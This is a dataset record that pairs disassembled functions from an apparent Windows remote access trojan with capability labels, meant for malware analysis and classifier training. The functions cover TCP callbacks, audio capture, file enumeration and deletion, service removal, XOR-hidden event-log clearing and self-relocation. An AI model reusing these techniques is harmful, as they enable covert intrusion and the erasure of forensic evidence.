joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [esp + 0xc]
push esi
push edi
push 4
push eax
mov edi, ecx
mov dword [esp + 0x20], ebx
push 0x80
push 0xffff
mov dword [esp + 0x24], 1
push dword [edi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0xa8]
call dword [sym.imp.KERNEL32.dll_CancelIo]
lea esi, [edi + 0xb6]
xor eax, eax
xchg dword [esi], eax
push dword [edi + 0xa8]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [edi + 0xac]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [edi + 0xac]
mov dword [edi + 0xa8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x10033a18]
mov byte [esi], 0
test eax, eax
je 0x1000150e
cmp eax, 4
je 0x1000150e
cmp eax, 5
jne 0x10001690
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0xa8], eax
cmp eax, 0xffffffff
je 0x10001690
cmp dword [0x10033a18], 0
je 0x10001539
push 0x10033818
jmp 0x1000153a
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x10001690
cmp dword [0x10033a18], 0
mov eax, 2
mov ebx, dword [ebp + 0xc]
mov word [esp + 0x2c], ax
je 0x1000156a
movzx eax, word [0x10032880]
push eax
jmp 0x1000156b
push ebx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x2e], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
push eax
push dword [edi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001690
cmp dword [0x10033a18], 5
jne 0x100015ba
push ebx
push dword [esp + 0x1c]
mov ecx, edi
call fcn.100016b0
test al, al
je 0x10001690
push 1
lea eax, [esp + 0x17]
mov byte [esp + 0x17], 1
push eax
push 8
push 0xffff
push dword [edi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001618
push eax
push eax
lea eax, [esp + 0x1b]
mov dword [esp + 0x24], 1
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x34]
mov dword [esp + 0x38], 0x2bf20
push eax
push 0x98000004
push dword [edi + 0xa8]
mov dword [esp + 0x48], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push 0
mov byte [edi + 0xb6], 1
mov dword [esp + 0x2c], 0x100019c0
mov dword [esp + 0x30], edi
mov byte [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x30], eax
lea eax, [esp + 0x24]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0xa4], esi
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x3c]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
Function at 0x100022c0
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002421c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x20
push esi
push edi
mov eax, dword [0x10032014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebx + 8]
push 0
push 0
push 1
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], eax
push 0
mov dword [eax + 0xb8], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
mov dword [ebp - 4], 0
mov dword [esi], vtable.CAudioManager.0
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x100024ab
cmp byte [0x10033a1c], 0
jne 0x100024ab
push 0x5c
call fcn.100126ff
mov edi, eax
add esp, 4
mov dword [ebp - 0x20], edi
push 0
push 0
push 0
mov byte [ebp - 4], 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [edi], vtable.CAudio.0
call esi
push 0
push 0
push 0
push 0
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x28], eax
lea esi, [edi + 0x30]
mov dword [edi + 0x2c], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 4], 0x3e8
mov word [edi + 0x44], 0
mov dword [ebp - 0x18], 2
push dword [edi + 4]
call fcn.100126f6
add esp, 4
mov dword [esi - 0x28], eax
push 0x20
call fcn.100126ff
add esp, 4
mov dword [esi], eax
push dword [edi + 4]
call fcn.100126f6
add esp, 4
mov dword [esi - 0x20], eax
push 0x20
call fcn.100126ff
add esp, 4
mov dword [esi + 8], eax
sub dword [ebp - 0x18], 1
lea esi, [esi + 4]
jne 0x100023b0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x11]
mov esi, dword [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [edi + 0x46], xmm0
mov dword [edi + 0x56], 0
mov ecx, esi
push 1
mov dword [edi + 0x46], 0x10031
mov dword [edi + 0x4a], 0x1f40
mov dword [edi + 0x4e], 0x659
mov dword [edi + 0x52], 0x41
mov dword [edi + 0x56], 0x1400002
push eax
mov dword [esi + 0x10], edi
mov byte [0x10033a1c], 1
mov byte [ebp - 0x11], 0x79
call fcn.10006d10
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esi + 8]
call edi
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
mov dword [ebp - 0x30], 0x10002640
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x30]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x24]
call edi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x14], esi
jmp 0x100024ad
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
Function at 0x10003260
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002f720

Function at 0x1000326a
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push 0x10014080
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10032014]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.100165be
add esp, 4
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x100033c1
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x1000331b
cmp byte [edi + 1], 0x5c
jne 0x1000331b
lea esi, [edi + 1]
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
mov al, byte [esi]
test al, al
je 0x10003300
cmp al, 0x5c
je 0x100032f7
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100032e3
test al, al
je 0x10003300
inc esi
mov dword [ebp - 0x1c], esi
nop
mov al, byte [esi]
test al, al
je 0x10003340
cmp al, 0x5c
je 0x10003311
push esi
call ebx
mov esi, eax
jmp 0x100032fc
test al, al
je 0x10003340
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x10003340
cmp byte [edi + 1], 0x3a
jne 0x10003339
lea esi, [edi + 1]
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003339
cmp al, 0x5c
jne 0x10003339
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.USER32.dll_CharNextA]
nop
mov al, byte [esi]
test al, al
je 0x10003387
cmp al, 0x5c
jne 0x1000337d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10003376
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000337a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000337a
push edi
jmp 0x100033b9
test al, 0x10
je 0x10003373
mov byte [esi], 0x5c
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003340
mov dword [ebp - 4], 0xfffffffe
push edi
call fcn.100165c9
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.100165c9
add esp, 4
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100036e0
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x794
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x790], eax
push ebx
push esi
push edi
lea eax, [esp + 0x298]
mov dword [esp + 0x1c], ecx
push eax
push 0x100
mov byte [esp + 0x3a0], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [esp + 0x298], 0
lea esi, [esp + 0x298]
xorps xmm0, xmm0
mov edi, 1
movlpd qword [esp + 0x20], xmm0
movlpd qword [esp + 0x28], xmm0
mov dword [esp + 0x10], edi
je 0x10003892
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
nop
push 0x104
lea eax, [esp + 0x194]
push 0
push eax
call fcn.10014920
add esp, 0xc
lea eax, [esp + 0x190]
push 0x104
push eax
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
push 0x160
lea eax, [esp + 0x38]
push eax
push 0x80
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [esp + 0x140]
push eax
call ebx
inc eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x190]
push eax
call ebx
mov cl, byte [esi]
inc eax
mov dword [esp + 0x14], eax
cmp cl, 0x41
je 0x100037fb
cmp cl, 0x42
je 0x100037fb
push 0
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100037fb
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
shrd edi, eax, 0x14
mov eax, dword [esp + 0x2c]
shrd ebx, eax, 0x14
jmp 0x100037ff
xor edi, edi
xor ebx, ebx
mov ecx, dword [esp + 0x10]
mov al, byte [esi]
push esi
mov byte [esp + ecx + 0x39c], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x399], al
lea eax, [esp + 0x140]
mov dword [esp + ecx + 0x39a], edi
mov edi, ecx
mov dword [esp + edi + 0x39e], ebx
mov ebx, dword [esp + 0x18]
push ebx
push eax
lea eax, [esp + 0x3aa]
add eax, edi
push eax
call fcn.100143a0
add esp, 0xc
lea eax, [esp + 0x190]
lea ecx, [esp + 0x3a2]
push dword [esp + 0x14]
push eax
lea eax, [ebx + edi]
add eax, ecx
push eax
call fcn.100143a0
mov eax, dword [esp + 0x20]
add esp, 0xc
add eax, ebx
add edi, 0xa
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add edi, eax
mov dword [esp + 0x10], edi
push esi
call ebx
inc esi
add esi, eax
cmp byte [esi], 0
jne 0x10003750
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x398]
push edi
push eax
call fcn.10006d10
mov ecx, dword [esp + 0x79c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x100038c0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str._s.
push eax
mov dword [ebp - 0x360], ecx
call edi
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100039a0
cmp byte [ebp - 0x330], 0x2e
je 0x10003967
test byte [ebp - 0x35c], 0x10
lea eax, [ebp - 0x330]
push eax
push esi
lea eax, [ebp - 0x114]
push 0x1002e394
push eax
je 0x10003955
call edi
mov ecx, dword [ebp - 0x360]
lea eax, [ebp - 0x114]
add esp, 0x10
push eax
call fcn.100038c0
jmp 0x10003967
call edi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x35c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003916
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
je 0x100039a0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret 4

Function at 0x100039c0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov eax, ecx
push edi
push 0x104
push 0
lea esi, [eax + 0x1c]
mov dword [ebp - 0xc], eax
push esi
call fcn.10014920
mov ebx, dword [ebp + 8]
add esp, 0xc
mov eax, ebx
sub esi, ebx
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], cl
test cl, cl
jne 0x100039f0
push 0
push 0x80
push 3
push 0
push 1
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003a28
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
add eax, 0xa
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call fcn.10014920
add esp, 0xc
mov byte [ebx], 0x69
mov ecx, dword [ebp - 8]
mov dword [ebx + 5], edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebx + 1], ecx
call esi
inc eax
push eax
lea eax, [ebx + 9]
push edi
push eax
call fcn.100143a0
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push ebx
call fcn.10006d10
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003b60
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024290
mov eax, dword fs:[0]
push eax
sub esp, 0x480
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x48c], ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x11c]
push 0x104
push 0
push eax
call fcn.10014920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x1002e404
mov edi, 0x1002e3a9
cmp byte [eax + esi - 1], 0x5c
lea eax, [ebp - 0x11c]
cmovne edi, ecx
push edi
push esi
push str._s_s.
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x488], eax
cmp eax, 0xffffffff
jne 0x10003c10
xor al, al
jmp 0x10003d1a
cmp byte [ebp - 0x458], 0x2e
je 0x10003cef
test byte [ebp - 0x484], 0x10
lea eax, [ebp - 0x458]
push eax
push edi
push esi
push str._s_s_s
je 0x10003c57
lea eax, [ebp - 0x224]
push eax
call ebx
mov ecx, dword [ebp - 0x48c]
lea eax, [ebp - 0x224]
add esp, 0x14
push eax
call fcn.10003b60
jmp 0x10003ce9
lea eax, [ebp - 0x32c]
push eax
call ebx
add esp, 0x14
mov dword [ebp - 0x334], 0
lea eax, [ebp - 0x32c]
mov dword [ebp - 0x330], 0xf
lea ecx, [ebp - 0x344]
mov byte [ebp - 0x344], 0
push eax
call fcn.10003fa0
mov ecx, dword [ebp - 0x48c]
lea eax, [ebp - 0x344]
push eax
mov dword [ebp - 4], 0
lea ecx, [ecx + 0x10]
call fcn.10003e80
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x330]
cmp edx, 0x10
jb 0x10003ce9
mov ecx, dword [ebp - 0x344]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10003cdf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003d38
push edx
push ecx
call fcn.1001272f
add esp, 8
mov eax, dword [ebp - 0x488]
lea ecx, [ebp - 0x484]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x10003d0c
mov eax, dword [ebp - 0x488]
jmp 0x10003c10
push dword [ebp - 0x488]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 4
call fcn.100167a0
int3
Function at 0x10004170
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002f798
push 0x10014080
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x10032014]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x440], edi
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x43c], esi
test edi, edi
jne 0x100041f7
test esi, esi
je 0x10004273
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10004273
cmp dword [ebp - 0x434], 1
je 0x10004231
lea eax, [ebp - 0x438]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10004273
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x400
push 0
lea eax, [ebp - 0x41c]
push eax
call fcn.10014920
push ebx
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x41c]
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xfffffffe
call fcn.100042a7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x10005130
Capabilities:
Access the windows event log
Clear windows event logs
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xc
mov dword [ebp - 0x24], 0xb9ba8a0b
mov dword [ebp - 0x20], 0xa4a5aea4
mov dword [ebp - 0x1c], 0xafadaab0
mov dword [ebp - 0x18], 0xaaaf9808
mov dword [ebp - 0x14], 0xb1afb5bd
mov byte [ebp - 0x10], 0xbd
mov dword [ebp - 0xc], 0xbcbab398
mov word [ebp - 8], 0xaba2
call fcn.100126ff
mov ebx, eax
lea ecx, [ebp - 0x23]
mov esi, ebx
add esp, 4
mov eax, 1
sub esi, ecx
nop
lea edx, [ebp - 0x24]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 0xb
jbe 0x10005190
push 9
mov byte [ebx + 0xb], 0
mov dword [ebp - 0x24], ebx
call fcn.100126ff
mov edi, eax
lea ecx, [ebp - 0x17]
mov esi, edi
mov dword [ebp - 0x28], edi
add esp, 4
mov eax, 1
sub esi, ecx
lea edx, [ebp - 0x18]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 8
jbe 0x100051c6
push 0xffffffffffffff99
mov byte [edi + 8], 0
mov dword [ebp - 0x20], edi
call fcn.100126ff
mov edi, eax
lea ecx, [ebp - 0xb]
mov esi, edi
mov dword [ebp - 0x2c], edi
add esp, 4
mov eax, 1
sub esi, ecx
nop dword [eax]
lea edx, [ebp - 0xc]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 0xffffff98
jbe 0x10005200
mov byte [edi - 0x68], 0
xor esi, esi
mov dword [ebp - 0x1c], edi
nop dword [eax]
push dword [ebp + esi*4 - 0x24]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x10005242
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x10005220
xorps xmm0, xmm0
movq qword [ebx], xmm0
push 1
mov word [ebx + 8], 0
push ebx
mov byte [ebx + 0xa], 0
call fcn.1001272f
mov eax, dword [ebp - 0x28]
xorps xmm0, xmm0
push 1
push eax
movq qword [eax], xmm0
call fcn.1001272f
mov esi, dword [ebp - 0x2c]
push 0xffffffffffffff98
push 0
push esi
call fcn.10014920
push 1
push esi
call fcn.1001272f
mov ecx, dword [ebp - 4]
add esp, 0x24
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x10005810
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], vtable.CKernelManager.0
cmp dword [esi + 0x9e50], ebx
jbe 0x1000584f
push edi
lea edi, [esi + 0x210]
nop
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, dword [esi + 0x9e50]
jb 0x10005830
pop edi
push dword [esi + 8]
mov dword [esi], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 1
je 0x10005872
push 0x9e5c
push esi
call fcn.1001272f
add esp, 8
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x100062a0
Capabilities:
Delete file
Encode data using add xor sub operations
Encode data using xor
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x120]
mov ebx, ecx
push eax
mov dword [ebp - 0x334], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x120]
push 0x1002e404
push eax
call esi
add ebx, 0x10
lea eax, [ebp - 0x120]
push ebx
push eax
call esi
push str.ex.dll
lea eax, [ebp - 0x120]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x228]
push str._d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x104
lea eax, [ebp - 0x330]
push 0
push eax
call fcn.10014920
add esp, 0xc
lea eax, [ebp - 0x330]
push str.C:_syslog.dat
push eax
call esi
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xd
mov dword [ebp - 0x14], 0xa7a3bc0c
mov dword [ebp - 0x10], 0xaaa1a8a4
mov dword [ebp - 0xc], 0xb9a7edaa
mov byte [ebp - 8], 0xa5
call fcn.100126ff
lea edx, [ebp - 0x13]
add esp, 4
mov edi, eax
mov ecx, 1
sub eax, edx
lea esi, [ebp - 0x14]
mov dl, 0xcc
add esi, ecx
sub dl, cl
inc ecx
xor dl, byte [esi]
mov byte [eax + esi], dl
cmp ecx, 0xc
jbe 0x100063a0
mov esi, dword [ebp - 0x334]
mov byte [edi + 0xc], 0
cmp dword [esi + 0x9e54], 0x120
je 0x100063d3
mov edx, ebx
call fcn.10005590
jmp 0x100063da
mov ecx, ebx
call fcn.10004170
lea eax, [esi + 0x110]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
xorps xmm0, xmm0
push 1
movq qword [edi], xmm0
push edi
mov dword [edi + 8], 0
call fcn.1001272f
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret